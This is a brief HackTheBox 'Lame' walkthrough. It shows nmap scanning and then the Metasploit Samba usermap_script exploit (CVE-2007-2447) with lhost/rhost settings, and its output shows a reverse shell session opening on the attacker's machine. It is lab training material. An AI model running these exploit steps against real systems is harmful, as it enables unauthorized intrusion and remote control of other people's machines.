

WalkthroughLameHackTheBox

We will learn the following:

- Using nmap to find opened ports & running services (<https://nmap.org/>)
- Searching for public exploits for vulnerable services (<https://www.metasploit.com/>)
- Download and install required tools/libraries to run exploit on target machine
- Reverse shell on target machine

Let's go: execute on command line (zhs :)) (sudo) nmap -sC -sV -p- -T4 Remotelp or (sudo) nmap -A Remotelp or (sudo) nmap -T4 -A -V Remotelp

go to samba target (CVE-2007-2447 with metasploit framework)

```
sudo msfdb init && msfconsole
```

```
msf6> msf6> use exploit/multi/samba/usermap_script msf6
```

```
exploit(multi/samba/usermap_script) > set lhost Locallp (set your localhost ip in vpn tunnel, if necessary) msf6 exploit(multi/samba/usermap_script) > set rhost Remotelp (set Remote host ip> msf6 exploit(multi/samba/usermap_script) > run
```

```
[*] Started reverse TCP handler on Locallp:4444 [*] Command shell session 1 opened (Locallp:4444 -> Remotelp:43178)
```

We are in feel free to run commands like >_ uname -r & pwd & ls

Hug!

>_JMP TheViper